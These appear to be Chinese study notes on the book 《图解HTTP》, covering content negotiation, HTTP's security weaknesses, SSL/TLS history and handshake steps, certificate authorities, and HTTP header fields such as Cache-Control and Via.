
注意代理驱动和透明代理存在一定区别,它使用了HTTP协议自创建依赖就支持又称为响应代理机制的东西,这种机制也是和客户端驱动协商类似,返回资源列表给用户进行选择然后需要第二次请求获取需要的资源。而透明代理借用了 Vary首部完成协议兼容,有点类似“旁外招”。

所以代理驱动虽然减轻了服务端和客户端形成“中间商”参考的模式,但是也避免不了第二次请求的问题。

透明协商(Transparent Negotiation)

透明代理被代理驱动型内容协商机制取代。

透明协商机制试图从服务器上去除服务器驱动协商所需的负载,并用中间代理来代表客户端以使与客户端的报文交换最小化。

这是服务器驱动和客户端驱动的结合体,是由服务器端和客户端各自进行内容协商的一种方法。但是因为后续历史没被认可所以被遗弃。

透明协商在HTTP并没有提供相应的规范,所以HTTP/1.1规范中没有定义任何透明协商机制,但定义了Vary首部,所以透明代理主要使用了Vary这个额外的字段完成协议兼容。

Vary 响应首部是什么? 在HTTP1.1协议中被添加,是通过服务器响应给客户端协商内容的时候一并返回的,服务端最终使用了那个首部清单。 最大的受益者不是客户端反倒是缓存服务器,缓存服务器检查发现Vary字段之后启用透明协商机制委托传输。

缓存服务器是啥?请看这篇文章[[《网络是怎么样连接的》读书笔记 - 汇总篇]]中关于负载均衡概念的介绍。

Alternates 首部

同样没受到认可被遗弃。网上都搜不到啥资料,忽略即可。

3.4 小结

上面介绍了众多的 内容协商方式,实际上仔细观察现在的网站会发现服务器驱动协商代理驱动型内容协商机制为主。

前者是WEB服务提供商可以根据用户的请求推送喜欢的内容,并且不需要二次发送请求节省带宽,适合绝大多数WEB用户,当然用户体验取决于服务端应用程序开发者的水平。

代理驱动型内容协商机制则多用于支持国际化的网站,比如一些大商城或者百科等,比较典型的比如Apple和维基百科等这些网站,提供了“建议”选项询问用户选择哪种语言进行浏览。

而客户端代理主动权掌握在用户手上,服务端无法把控的同时不利于商业推广,所以大部分WEB网站会“屏蔽”这种方式,另一方面代理驱动能减轻服务器压力同时兼容了客户端驱动的特点,所以被代理驱动取代也十分正常。

最后是透明代理,透明代理使用的“旁门左路”的自定义的协议不怎么通用的,所以被淘汰以及被代理驱动取代也很正常。

#tjhttp 八、《图解HTTP》 - HTTPS

知识点

  1. HTTPS 是什么?HTTP有哪些缺点?
  2. SSL、TLS为啥总是被放到一起,有什么区别?
  3. SSL、TLS历史背景。
  4. SSL的加密细节,加密算法了解。
  5. SSL的加密流程。

HTTP缺点

  1. 明文通信,内容容易被窃听。
  2. 无身份验证,容易受到伪装请求攻击。
  3. 无法验证报文完整,无法防篡改。

除了协议本身的漏洞之外,一些编程语言也可能编写出不安全的网络应用程序。

明文窃听

既然HTTP是不加密通信的,那么自然会好奇它是如何被窃听的。

所谓的窃听是因为TCP/IP模型的物理层、数据链路层、网络层这几层所需要的设备支持都不可能是个人用户所具备的东西,所以在这几个环节进行通信窃听是完全有可能的。

整个窃听的过程如下图,在网络信息通过网卡发出去的那一刻,网络包中间被“加工”的可能性就会急剧增加。这样的情况就好比一个快递从站点发出去的一刻,就有可能出现各种各样的情况。

此外加密通信并不是保证信息不被窃听,而是在窃听方拿到网络包之后无法破解明文信息内容,这样“加密”的特性就算是达到了。

明文窃听
明文窃听

常见的窃听方式比如WireShark,可以对于请求进行抓包处理。

如何防止窃听

防止明文窃听通过加密进行保护处理的方式有两种:

  • 通信加密:
    • SSL(Secure Socket Layer,安全套接层),也就是HTTPS里面的S,实现方式是在HTTP的基础上组合使用SSL通信。
    • TLS(Transport Layer Security,安全层传输协议)致力于替代SSL协议,是目前的主流协议(SSL已在2015年遭到废弃)。
  • 内容加密:
    • 在传输之前对于内容明文按照某种特定规则加密,比如最常见的OAuth2。

无身份验证

无身份验证体现在下面几个方面:

  • 人人都可以发送请求
  • 无法确认响应的服务器是否真实。
  • 无法确认发送请求的客户端是否真实。
  • 无法验证发送方是否符合权限。
  • 无法判定请求来源。
  • 无法阻止无意义攻击(Ddos攻击)。

进行身份验证

SSL/TLS 需要通过第三方符合资质的机构进行数字认证,能获得这一机构认证本身就是十分麻烦的事情,所以通常颁发认证证书的服务器基本都可以获得加密保障,同时确认请求方的证书能有效的控制请求来源,对于客户端也能清楚请求的对方是合法安全的。

无法验证报文完整

请求在传输和响应的过程中遭到拦截并且篡改攻击的手段叫做中间人攻击(Man-in-the-Middle attack,MITM),在许多情况下这是很简单的(例如,在一个未加密的Wi-Fi[1] 无线接入点[2]的接受范围内的中间人攻击者,可以将自己作为一个中间人插入这个网络)。

一个中间人攻击能成功的前提条件是攻击者能将自己伪装成每一个参与会话的终端,并且不被其他终端识破。中间人攻击是一个(缺乏)相互认证的攻击

如何防止篡改

针对中间人攻击,HTTP通常使用 MD5SHA-1 等散列值校验的方法,以及用来确认文件的数字签名方法提高安全性。此外Web 网站也会提供相应的以 PGP(Pretty Good Privacy,完美隐私) 创建的数字签名及 MD5 算法生成的散列值。

但是这些手段依然无法完全保证PGP不会被篡改,HTTP本身的可靠保证过于缺乏 。

SSL协议可以验证参与通讯的一方或双方使用的证书,校验是否是由权威的受信任的数字证书认证机构颁发,并且能执行双向身份认证。

PGP 是用来证明创建文件的数字签名,MD5 是由单向函数生成的散列值。

以上内容便是HTTP本身暴露的许多缺陷导致的信息泄漏问题,也是为什么要引入SSL/TLS 协议来强化HTTP的协议的几个理由。下面我们来聊聊SSL/TLS的历史。

SSL/TLS 历史

现在我们讨论的SSL实际上是TLS,因为SSL协议本身的各种问题早已经被废弃了,目前主流的SSL实际上使用的是TLS的协议规范。

但是因为SSL被广为流传,结合历史原因,所以依然沿用这样的说法并不会产生歧义。

接着我们得明白HTTP+ 加密 + 认证 + 完整性保护=HTTPS这个HTTPS的含义。

SSL/TLS 也是类似Cookie和Session一样,在不干扰协议本身运作的情况下对于HTTP协议本身进行保护和增强。

使用HTTPS请求之后,在浏览器输入地址的时候需要将原本的HTTP转化为HTTPS。

无论是OSI 七层模型还是TCP/IP模型,都为每个通信层的职责划分了明确的界限,HTTP是依赖TCP进行数据传输的,但是TCP为了保证单一职责和高效不会搭理HTTP的安全请求(本身也没有),他只负责数据包的收发,所以TCP是不能随便动的。而HTTP同样历史发展悠久,也难以在短时间内对于协议修订和增强。

可以看到,HTTP 是应用层协议,TCP是传输层协议,HTTP依赖TCP完成数据传输,所以 SSL/TLS 肯定是在应用层或者占据着传输层?

传输层必不可能,因为无法HTTP兼容,放到应用层这一说法其实也不完全准确。实际上SSL在TCP和HTTP的中间,类似处在两个应用的夹层里面,也就是所谓的架构难题的绝招 -- 遇事不决加一层。(因为干涉任意一层都引出更多的问题)。

中间夹层不知道为什么让我想到了《黑客帝国3》的那个车站。

SSL协议
SSL协议

明白了SSL/TLS 所处位置,我们继续了解SSL/TLS 的历史。

在许多参考资料中很多时候我们一会儿看到SSL的描述,一会儿看到TLS的描述,首先得再分清两者本身的定义。

如书中所言:

  • SSL(Secure Socket Layer,安全套接层)
  • TLS(Transport Layer Security,安全层传输协议)

看似是协议和“伪通信层”的东西两个不同的东西,实际上SSL是TLS的前身,或者说TLS出现的本意就是为了替换SSL而出现的“竞品”。

SSL最早出现,出道即拉胯。随着历史发展发现SSL总是存在这样那样的缺点被人诟病。TLS乘胜追击逐渐取代SSL,到了目前最新的版本是TLS1.3(已经有了一半左右的普及度)。

这里参考维基百科的介绍,大致介绍TLS/SSL 的历史。

SSL 1.0、2.0和3.0

  • SSL1.0 从来没有发布过,因为存在巨大的安全漏洞和隐患。
  • 2.0版本在1995年2月发布后,很快被发现包含许多安全和可用性缺陷。SSL 2.0 在 2011 年被 RFC[3] 6176 弃用。另外SSL 2.0假设只有一个服务和一个固定域证书,这与Web服务器中广泛使用的虚拟主机功能相冲突,因此大多数网站实际上都因使用SSL而受到损害。

弃用原因: - 消息认证使用 MD5 。 有安全意识的用户已经不再使用 MD5 [RFC6151]。 - 握手消息不受保护。

  • 消息完整性和消息加密使用相同的密钥,即如果客户端和服务器协商弱加密,则会出现问题。
  • 会话可以轻松终止。 中间人可以轻松插入 TCP FIN 关闭会话,对端无法确定这是否是会话的合法结束。
  • SSL版本3.0.17 15 1996年发布,它由Paul Kocher与Netscape工程师Phil Karlton和Alan Freier合作制作,并由Christopher Allen和Tim Dierks设计的Consension Development参考实现。
  • 2014年,SSL 3.0被发现容易受到影响SSL中所有块密码的POODLE攻击。RC4 是 SSL 3.0 支持的唯一非块密码,在 SSL 3.0.18 SSL 3.0 中使用时也可能被破解。
  • RFC 7568 - Deprecating Secure Sockets Layer Version 3.0 (ietf.org)2015 年 6 月弃用SSL3。

所以SSL1.0到3.0都是比较坑的玩意儿,难怪会全面转向TLS,在2018年,谷歌、微软、苹果同时声明废弃TLS1.1、TLS1.0的使用,目前有99% 的服务器支持 TLS 1.2,基本已经完成TLS全面普及。

TLS

TLS 并不是在SSL出现问题之后才出现的,而是在SSL3.0出现之后开始修订。

  • TLS 1.0 于 1999 年 1 月在 RFC 2246 - The TLS Protocol Version 1.0 (ietf.org) 中首次定义为 SSL 版本 3.0 的升级。
  • TLS 1.1 TLS 1.1 于 2006 年 4 月在 RFC 4346 - The Transport Layer Security (TLS) Protocol Version 1.1 (ietf.org) 中定义,重要的改进点如下:
    • 增加了对密码块链接 (CBC) 攻击的保护。
    • 隐式初始化向量 (IV) 被显式 IV 取代。
    • 更改填充错误的处理方式。支持 IANA 参数注册。
  • TLS 1.2 于 2008 年 8 月在 RFC[4] 5246 中定义。它基于TLS1.1 进行了下面的升级。
    • 伪随机函数 (PRF) 中的 MD5–SHA-1 SHA-256 取代,并带有使用密码套件指定 PRF 的选项。
    • 完成的消息哈希中的 MD5–SHA-1 函数被 SHA-256 替换,并带有使用特定于密码套件的哈希算法的选项。但是完成的消息中的哈希大小仍限制必须至少为 96 位。
    • 数字签名元素中的 MD5–SHA-1 被替换为握手期间协商的单个哈希,默认为 SHA-1
    • 增强了客户端和服务器指定它们接受哪些哈希和签名算法的能力。
    • 扩展了对经过身份验证的加密密码的支持,主要用于高级加密标准 (AES) 加密的伽罗瓦/计数器模式 (GCM) 和 CCM 模式。
  • TLS 1.3 于 2018 年 8 月在 RFC 8446 - The Transport Layer Security (TLS) Protocol Version 1.3 (ietf.org) 中定义。它基于早期的 TLS 1.2 规范。与TLS 1.2的主要区别包括:
    • 将密钥协议和身份验证算法与密码套件分离。
    • 删除对弱椭圆曲线和较少使用的命名椭圆曲线的支持。
    • 删除对 MD5SHA-224 加密哈希函数的支持。
    • 即使使用以前的配置,也需要数字签名。
    • 整合HKDF及半瞬时DH建议。
    • 用 PSK 和门票替换恢复。
    • 支持 1-RTT 握手和对 0-RTT 的初始支持。(和 QUIC 有关)。
    • 通过在 (EC)DH 密钥协议期间使用临时密钥来强制实现完全的前向保密。
    • 放弃对许多不安全或过时功能的支持,包括压缩、重新协商、非 AEAD 密码、非 PFS 密钥交换(其中包括静态 RSA 和静态 DH 密钥交换)、自定义 DHE 组、EC 点格式协商、更改密码规范协议、Hello 消息 UNIX 时间以及长度字段 AD 输入到 AEAD 密码。
    • 禁止 SSL 或 RC4 协商以实现向后兼容性。
    • 集成会话哈希的使用。
    • 弃用记录层版本号并冻结该编号以提高向后兼容性。
    • 将一些与安全相关的算法详细信息从附录移动到规范,并将 ClientKeyShare 降级到附录。
    • 添加带有 Poly1305 消息身份验证代码的 ChaCha20 流密码。
    • 添加 Ed25519 和 Ed448 数字签名算法。
    • 添加 x25519 和 x448 密钥交换协议。
    • 添加对发送多个 OCSP 响应的支持。
    • 加密服务器后的所有握手消息。

许多材料会把TLS/SSL 的SSL放在后面,目的是考虑TLS是目前的主流,放在前面是较为合适的。

所以用现在的眼光看其实SSL早就已经被禁止了,目前主流的HTTP加密传输是基于TLS实现的。此外维基百科上有几张图介绍TLS对比SSL的优势,可以较为直观展示两者的优缺点。

算法

兼容性
兼容性

密码

密码
密码

数据完整性

数据完整性
数据完整性

网站支持

此外,根据2022年的数据显示,TLS1.3 的覆盖率和 HTTP2.0差不多,但是TLS1.2 经过这几年普及基本全方位支持。

网站支持
网站支持

TLS/SSL 工作机制

在了解SSL细节之前,我们需要先讲解加密方法:公开密钥加密共享密钥加密

共享/公开密钥加密

共享密钥加密加密是通信双方持有同一把钥匙加解密信息,所以这种加密方式也叫做对称密钥加密或者共享密钥加密

共享密钥加密
共享密钥加密

共享密钥最大的问题是钥匙传输给对方的过程中有可能遭到劫持,一旦传输密钥遭到劫持,共享密钥加密的方式就相当于作废了。

中间人攻击只需要拿到密钥,双方传输加密报文的时候拦截请求数据并且伪造自己的数据,就可以同时“剽窃”双方向的敏感信息。

为了处理这个问题,需要使用公开密钥加密对于共享密钥加密对加密方式进行了改进。

改进方式很简单那就是把钥匙换成一把只能用于加密,这把钥匙可以公开对外使用,而另一把只能用于解密,只有服务端的私钥可以解开公开密钥加密的信息,外部无法通过公钥破解。

如果能在短时间内快速的进行因式分解,那么全世界所有的密码都是透明的。 有时候解密不一定是无法破解,而是破解的代价在现实上“不可能”,比如需要花费上千年的时间破解一串密码,等到破解那时候。。。。可能被破解的资源都没了。

公开密钥加密的最大特点是加密和解密的钥匙并不是同一把,两边对于密文的加解密方式不一样,所以这样的加密方式也别叫做 非对称密钥加密

公开密钥加密
公开密钥加密

混合加密

HTTPS并不是完全使用公开密钥加密或者共享密钥加密,而是通过两种加密混合的方式进一步提升安全。

共享密钥的问题在于密钥泄露的安全性问题,而公开密钥加密因为加解密的钥匙不是同一把,需要花费更多的操作运算和验证。

HTTPS在设计的过程中基于安全和速度的考虑,最终的决定是在连接握手的过程中使用非对称密钥加密确保安全,在服务器非对称加密验证通过之后,会返回稍后需要共享对称加密的密钥信息。在握手完成之后,在确保安全的前提之下, 使用对称加密的密钥进行共享对称加密的信息交互。

需要注意这里提到的加密认证是单向认证,也就是说只会验证服务端的真实可靠性,服务端无法准确保证客户端是可靠的(但是可以确保传输是安全的)。

客户端认证只在特殊的服务上会用到,大部分服务更多使用服务端单向认证,因为多数服务就是设计给所有人都可以访问的。

HTTPS混合加密
HTTPS混合加密

数字证书加密

混合加密的方式看起来很靠谱和安全,但实际上依然存在问题,那就是无法证明公开密钥本身的真实性,为了理解这一点我们可以回顾共享密钥加密的描述图,在其中展示了攻击者在密钥传输的过程中盗取共享密钥的行为。

如果把这一行为替换为盗取公开密钥,则可以在客户端请求的时候劫持替换为攻击者自己的非对称加密密钥,之后的共享加密同样也是,可以被轻易获取。

具体的攻击过程如下:

  1. 服务端在数字证书认证成功之后,和客户端进行公开密钥加密认证,此时中间人截取到公开密钥,伪造出自己的公钥(同时拥有自己的私钥)以及用于共享之后传给SSL认证的客户端。
  2. 客户端拿到被替换的服务端公钥认证,将共享加密的密钥通过伪造的密钥加密之后,回传给服务端。
  3. 中间人继续劫持掉客户端请求,通过自己的私钥解密之后,用自己伪造的共享加密密钥,利用上一次服务端传递的真实公钥,加密之后传给服务端。
  4. 服务端拿到被加密的假的的共享密钥之后,解密获得中间人的共享加密密钥。
  5. 原本

在这样的攻击手段之下,为了保证客户端请求的服务器的真实性,采用第三方权威机构认证是合理的。

CA证书

为了解决这个问题,所采用的方式是通过第三方机构数字认证机构(CA,Certificate Authority),加入CA之后整个验证过程如下:

  • 服务端运营请求数据认证机构申请公开密钥,数字机构验证请求者的数字认证信息,然后分配给已经签名的密钥,然后把公开密钥放入到公钥证书绑定一起返回。
  • 服务器将颁发的数字认证机构的公钥证书发给客户端,使用公开密钥加密通信。这一步也叫数字认证机构传递证书
  • 客户端使用数字证书认证公开密钥,对于数字签名认证,认证通过可以获取两个信息
    • 认证服务器的公开密钥的数字认证机构是否合法真实。
    • 被认证的服务器公开密钥是否真实。

注意认证机关的公开密钥必须安全传给客户端,否则哪怕是数字认证本身还是有可能被篡改。为了规避这一个问题,许多浏览器会在安装的时候认证机构的公开密钥。

但是浏览器自带证书也有安全隐患,那就是数字认证机构遭到入侵后果不堪设想,历史上也真发生过类似事件。

CA证书
CA证书

EVSSL证书

证书的作用是保证服务端的公开密钥的真实性,也可以验证服务器是否真实存在。

EV SSL 证书是基于国际标准的认证指导方针颁发的证书。主要的作用是提高网站的认可度。

有时候浏览器如果带HTTPS会出现绿色打勾的字样,这样做是提醒用户网站合法性。

客户端证书

客户端证书通常会出现在安全性要求极高的特殊业务当中,同时客户端本身需要支持SSL证书的开销,但是SSL的客户端证书只能证明请求的机器是没有问题的,但是无法保证

机构信誉

作为数字认证的机构一旦出现问题后果不堪设想,在过去曾经出现过数字认机构被黑客破解的情况,其对于SSL的公信力是一次巨大打击,

OpenSSL

OpenSSL 是可以让用户自己构建一套认证机构的开源程序,但是仅能作为本地使用。

如果出现外部访问,浏览器会提示“无效证书”等内容。

OpenSSL
OpenSSL

HTTPS的通信步骤

下面依照SSL的的交互步骤介绍HTTPS的通信过程。

这部分内容在[[《图解HTTP》- 用户身份认证]]里面的SSL流程一致,但是对于细节做了进一步扩展。

HTTPS的通信步骤
HTTPS的通信步骤

第一次握手:确认支持SSL

  1. 客户端发送Client Hello 开始SSL通信,HandShake 就是握手的意思,报文中指定SSL版本和加密组件(加密算法和密钥长度等)。服务器支持SSL通信,返回Server Hello 应答,报文加入SSL的版本以及加密信息。服务器的加密组件需要根据客户端支持的加密通信方式筛选。
    • Version: 客户端支持的TLS协议版本
    • Random: 客户端生成的随机数,随后用于生成 master secret
    • SessionID: 会话 ID,如果不为空,表示客户端想重用该会话
    • CipherSuites: 客户端支持的加密套件列表,在 SessionID 为空时必须携带
    • CompressionMethods: 客户端支持的压缩算法列表
    • Extensions: 扩展内容

第二次握手:服务端证书验证

  1. 接收到客户端SSL版本以及加密组件信息,服务器支持SSL通信如果则返回Server Hello 应答。
  2. 服务器发送 Certificate 报文,报文包含公开密钥证书,证书必须是 x.509 标准格式,包含服务端公钥、服务端域名、签发方信息、有效期等信息。
  3. 服务器发送Server Hello Done表示SSL最初的握手协商已经结束。

第三次握手:客户端确认

  1. 客户端按照Client Key Exchange 回应,这个报文会在通信加密中使用Pre-mastersecret的随机串,这个随机串第一步部分的第三个步骤已经偷偷完成加密了。
  2. 客户端继续发送 Change Cipher Spec 报文,告知服务器后续使用Pre-master secret 密钥加密通信(共享对称加密)。
  3. 客户端发送 Finished 报文。在这个报文中包含整个报文回应的校验和,客户端确认是否完成要根据服务器能否认识这一段加密报文为主。

第四次握手:服务端确认

  1. 服务器同样发送 Change Cipher Spec 报文,表示自己认识客户端的加密信息。
  2. 服务器同样发送 Finished 报文,SSL连接建立完成。

至此SSL连接建立完成,通信将会受到协商好的共享密钥加密保护,应用层开始进行通信。应用层通信,服务端进行响应。

断开连接

  1. 客户端主动断开链接。断开连接会发送 close_notify 的报文。之后发送 TCP FIN 报文关闭通信。

注意在整个SSL四次握手的过程中,应用层发送数据时会附加一种叫做 MAC(Message Authentication Code)的报文摘要。MAC 能够查知报文是否遭到篡改,从而保护报文的完整性。

最后是书中给的一幅图,了解整个加密过程(个人感觉画的一般,有点乱)

HTTPS通信
HTTPS通信

CBC 模式(Cipher Block Chaining)又名密码分组链接模式。此模式会把一个明文模块加密处理之后的下一个明文进行XOR运算。重叠之后对于运算结果进行加密处理。 对于第一个明文进行加密之后,

最后是IETF 关于TLS协议原文的握手步骤,看起来比较抽象,但是实际上算是最权威的交互信息了,图片展示是TLS1.2的协议原文内容:

除开最后一次的数据交互之外,服务端和客户端需要四次握手才能完成。

也就是说从TCP连接到SSL连接完成,一共需要9次握手才能最终建立一个安全连接,所以其效率可想而知。

为什么不全用HTTPS

  • 纯文本通信对比的加密通信消耗更多资源
  • 非敏感的HTTPS使用意义和价值不大
  • 购买证书的开销和成本。CA证书购买开销不菲,但是对于现在的很多服务器来说是一笔必要开支,虽然有时候非常不合算。

#tjhttp 七、《图解HTTP》- HTTP首部和HTTP协作服务器

7-1. HTTP首部

虽然平时感受不到,但是却是互联网天天在用的东西,这本书花了50多页的内容介绍它,可见它的重要性。

HTTP 首部包含三个部分,报文首部,空行和报文主体,报文首部包含了客户端重要的传输信息,而报文体则是“负荷数据”,包含获取服务器信息需要传递的数据。

首部组成
首部组成

HTTP 报文由方法、URI、HTTP 版本、HTTP 首部字段等部分构成。

HTTP 报文
HTTP 报文

下面是请求报文的案例信息:

GET / HTTP/1.1
Host: hackr.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; q=0.8
Accept-Language: ja,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
If-Modified-Since: Fri, 31 Aug 2007 02:02:20 GMT
If-None-Match: "45bae1-16a-46d776ac"
Cache-Control: max-age=0

响应报文结构如下:

image-20220804143700622
image-20220804143700622

响应报文内容:

HTTP/1.1 304 Not Modified
Date: Thu, 07 Jun 2012 07:21:36 GMT
Server: Apache
Connection: close
Etag: "45bae1-16a-46d776ac"

7.0 首部字段介绍

首部字段是HTTP的重要组成部分。

HTTP 首部字段结构

首部字段由key/value的字段名和字段值组成,通过冒号进行分隔,字段值可以是单个值,也可以是多个值,对于多个值会使用逗号进行分隔。

如果首部字段出现重叠怎么办?在规范当中并没有进行明确规定,取决于浏览器和实现方是如何处理的,比如有些浏览器会优先处理第一次出现的首部字段,而有些则会优先处理最后出现的首部字段。

首部字段分类

  • 通用首部字段(General Header Fields):请求和响应通用首部。
  • 请求首部字段(Request Header Fields):从客户端向服务器端发送请求报文时使用的首部。
  • 响应首部字段(Response Header Fields):从服务器端向客户端返回响应报文时使用的首部。
  • 负载(实体)首部字段(Entity Header Fields):在负载的部分使用的首部信息,客户端和服务端都有可能存在。

HTTP/1.1 首部字段

下面是几张关于首部字段的表,包首部字段分类对应的四个分类:

通用首部字段

通用首部字段
通用首部字段

请求首部字段

请求首部字段
请求首部字段

响应首部字段

响应首部字段
响应首部字段

负载首部字段

负载首部字段
负载首部字段

7.1 非 HTTP/1.1 首部字段

在HTTP协议通信中使用的首部字段除了上面定义的之外,非正式的首部字段统一归纳在 RFC4229 HTTP Header Field Registrations 中,感兴趣可以直接进网页看看相关的白皮书信息。

缓存代理行为

缓存代理行为通过两个字段:端到端首部(End-to-end Header)逐跳首部(Hop-by-hop Header)

对于第一个端到端首部(End-to-end Header)会转发请求和响应信息给最终目标并且必须存在于由缓存生成的响应,要求是同时必须被转发。

第二个逐跳首部(Hop-by-hop Header)则只对单次转发有效,如果通过了缓存或者代理则不会进行转发。另外使用逐跳首部需提供 Connection 首部字段需要包含下面的内容:

Connection
Keep-Alive
Proxy-Authenticate
Proxy-Authorization
Trailer
TE
Transfer-Encoding
Upgrade

7.2通用首部字段

通用首部字段信息包含下面的内容:

7.2.1 Cache-Control

顾名思义,用于操作缓存的首部字段,案例Cache-Control: private, max-age=0, no-cache,缓存首部字段基本存在下面的值,需要指定最大响应age和缓存最大的有效时间,防止缓存过久有效和过短失效。

缓存请求指令表响应指令参考表如下:

缓存请求指令
缓存请求指令
响应指令
响应指令

public 指令(Cache-Control: public)

Cache-Control: public,这样的首部声明表明其他的用户也可以使用这份缓存,意味着这是公用的缓存信息。

private 指令(Cache-Control: private)

Cache-Control: private 和public命令正好相反,只能给特定用户作为对象,缓存服务器会为特定的用户缓存数据,其他用户则没用此行为。

no-cache 指令(Cache-Control: no-cache)

目的是为了防止从缓存中返回过期的资源。表示每次请求将不会接受缓存过的数据,如果请求中携带这个指令表明返回的内容不能是缓存过的数据。

注意⚠️:从字面意思上很容易把 no-cache 误解成为不缓存,但事实上 no-cache 代表不缓存过期的资源,缓存会向源服务器进行有效期确认后处理资源。

Cache-Control: no-cache=Location

如果在cache-Control当中指定具体的参数值,则客户端接收到这个被指定参数值的首部对应报文之后就不能缓存,这个指令的区别是由服务器指定客户端不允许进行缓存操作。

控制可执行缓存的对象的指令

no-store 指令(Cache-Control: no-store)

​ 表示请求或者响应有机密信息。该指令规定缓存不能在本地存储请求或响应的任一部分。

s-maxage 指令(Cache-Control: s-maxage=604800(单位 :秒)

​ 和max-age指令相同,它们的不同点是 s-maxage 指令只适用于供多位用户使用的公共缓存服务器,同一个用户重复返回响应此字段是无效的。

注意⚠️:使用s-maxage之后会忽略Expire字段。

max-age 指令

​ 客户端:指定接受最大缓存时间的资源,高于该时间的资源不接受缓存数据,如果为0则表示每次都需要请求源服务器。

max-stale 指令(Cache-Control: max-stale=3600(单位:秒))

​ max-stale 指示缓存资源,过期也要照常接受。如果指令没有指定参数值,客户端会接收响应。如果指定参数即使过期,只要处于这个指定值之内依然可以被客户端接收。

only-if-cached 指令(Cache-Control: only-if-cached)

​ 表示只在缓存服务器上获取目标服务器被缓存的资源,如果缓存服务器也没有数据则返回504状态码

504 网关超时:服务器充当网关或者代理的时候,没有收到响应。和408的区别是408是服务端接受客户端超时,504是代理接收服务端超时。

must-revalidate 指令(Cache-Control: must-revalidate)

​ 表示代理会向源服务器再次验证即将返回的响应缓存目前是否仍然有效,如果是无效的,要求缓存服务器返回504的状态码。

注意⚠️:must-revalidate 指令会忽略请求的 max-stale 指令。

proxy-revalidate 指令(Cache-Control: proxy-revalidate)

​ 要求所有缓存服务器收到客户端带有指令的请求返回响应之前验证缓存有效性。

no-transform 指令(Cache-Control: no-transform)

​ 请求和响应不能接受改变负载的媒体类型。

Cache-Control 扩展 cache-extension token Cache-Control: private, community="UCI" 这种写法表示通过token标记扩展改首部字段的命令, 比如community这个指令是不存在的,但是通过这样的扩展实现兼容。但是这种兼容只能是理解它的缓存服务器才会回应,其他的缓存服务器会直接忽略掉。

7.2.2 Connection

这个首部字段的作用如下:

  • 控制不转发给代理的首部字段。
  • 管理持久连接。

控制不再转发给代理的字段

​ 可控制不再转发给代理的首部字段(即 Hop-by-hop 首部)。

管理持久连接

​ 如果当服务器端想明确断开连接时,通过指定Connection 首部字段的值为 Close完成这项操作。但是需要注意HTTP1.1默认都是Keep-Alive 的持久连接。

​ 反之,在此之前的版本都是非持久的连接,如果想要实现和HTTP1.1一样的效果需要Connection:Keep-Alive 完成这项操作。

7.2.3 Date(Date: Tue, 03 Jul 2012 04:40:59 GMT)

​ 表明HTTP报文创建的日期和时间。

​ HTTP/1.1 协议默认会使用在 RFC1123 中规定的日期时间的格式:

Date: Tue, 03 Jul 2012 04:40:59 GMT

​ HTTP1.1之前的版本使用下面的内容,使用的协议是RFC850,主要内容如下所示:

Date: Tue, 03-Jul-12 04:40:59 GMT

​ 除此之外还有一种方式是使用C 标准库内的 asctime() 函数的输出格式一致:

Date: Tue Jul 03 04:40:59 2012

7.2.3 Pragma(Pragma: no-cache)

Pragma 是 HTTP/1.1 之前版本的历史遗留字段,为了HTTP1.0之后向后兼容,规范的内容形式唯一而存在着,比如下面的内容:Pragma: no-cache

主要用于客户端告知服务器不接受缓存内容,这种字段和Cache-Control:no-cache指定缓存处理最为理想。

Cache-Control: no-cache
Pragma: no-cache

7.2.4 Trailer(Trailer: Expires)

表明报文主体之后记录了什么样的首部字段,主要用于HTTP1.1 的分块传输编码使用。

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2012 04:40:56 GMT
Content-Type: text/html
...
Transfer-Encoding: chunked
Trailer: Expires
...(报文主体)...
0
Expires: Tue, 28 Sep 2004 23:59:59 GMT

上面的案例使用了Expires字段指定资源的失效日期。

7.2.5 Transfer-Encoding(Transfer-Encoding: chunked)

规定传输报文的时候使用的编码方式,HTTP1.1的传输编码只能够作用于分块传输编码。

7.2.6 Upgrade

表示尝试使用更高版本的协议和服务器之间进行通信,但是不一定是HTTP协议,可以指定完全不同的协议。

Upgrade
Upgrade

书中的例子使用了TLS的协议仅限验证,注意传输报文的细节部分,比如Connection里面指定了Upgrade,能够产生作用范围的是客户端以及相邻的服务器,所以需要指定Connection: Upgrade 才能生效。

另外服务遇到带有 Upgrade 的请求,可以使用返回码101作为响应码返回。

Upgrade经典使用场景是WebSocket升级协议。

7.2.7 Via

主要用于最终客户端到服务器之间的请求和响应报文到传输路径,报文经过了代理和网关时候,会在Via当中附加服务器信息然后再进行转发。首部字段 Via 不仅用于追踪报文的转发,还可避免请求回环的发生。

Via
Via

请求每一次经过代理服务器,首部的Via字段就会增加一次,VIa字段用于追踪传播路径,通常会和TRACE方法一起使用,如果Max-Forward变为0,则会停止代理服务器之间的转发操作。

7.2.8 Warning

HTTP/1.1 的 Warning 首部是从 HTTP/1.0 的响应首部(Retry-After)演变过来的。

下面是对应的组成格式:

Warning: [警告码][警告的主机:端口号]“[警告内容]”([日期时间])

在HTTP1.1中定义了7种警告码,警告码通常只能作为参考,之后可能进行扩展。

HTTP1.1警告码
HTTP1.1警告码

7.3 请求首部字段

请求首部是客户端传递给服务端的字段。

请求首部字段
请求首部字段

7.3.1 Accept(Accept: text/html,application/xhtml+xml,application/xml;q=0.)

首部字段可以 通知服务器,用户代理能够处理的媒体类型以及媒体类型相对优先级。

  • 文本文件
    • text/html, text/plain, text/css ...
    • application/xhtml+xml, application/xml ...
  • 图片文件
    • image/jpeg, image/gif, image/png ...
  • 视频文件
    • video/mpeg, video/quicktime ...
  • 应用程序使用的二进制文件
    • application/octet-stream, application/zip ...

案例:

比如使用 type/subtype 这种形式,一次指定多种媒体类型,通过q=?指定权重值,默认权重为1,可以设置权重为三位小数。假设服务器可以一次性提供多种信息,会优先提供权重值最高的媒体类型数据。

7.3.2 Accept-Charset(Accept-Charset: iso-8859-5, unicode-1-1;q=0.8)

主要作用是用来通知服务器用户代理支持的字符集及字符集的相对优先顺序,与首部字段 Accept 相同的是,可用权重 q 值来表示相对优先级。

这个字段的主要作用是内容协商机制的服务器驱动协商

7.3.3 Accept-Encoding(Accept-Encoding: gzip, deflate)

主要作用是告知服务器用户代理支持的请求编码以及优先级顺序,支持一次性指定多级编码,编码的相关案例如下:

